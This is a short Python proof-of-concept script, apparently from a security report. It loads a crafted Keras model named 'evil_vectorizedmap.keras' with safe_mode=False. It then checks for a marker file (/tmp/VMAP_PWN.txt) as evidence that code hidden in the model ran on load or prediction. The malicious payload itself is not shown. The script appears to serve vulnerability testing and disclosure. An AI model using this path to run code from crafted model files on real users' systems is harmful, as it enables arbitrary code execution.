| import os, keras, numpy as np | |
| MARK="/tmp/VMAP_PWN.txt" | |
| if os.path.exists(MARK): os.remove(MARK) | |
| print("[*] safe_mode=False load (documented path for Lambda-bearing models)") | |
| m = keras.models.load_model("evil_vectorizedmap.keras", safe_mode=False) | |
| print(" marker after load:", os.path.exists(MARK)) | |
| y = m.predict(np.ones((2,3),"float32"), verbose=0); print(" predict ok, out:", y.shape) | |
| print(" marker:", open(MARK).read().strip() if os.path.exists(MARK) else "NONE") | |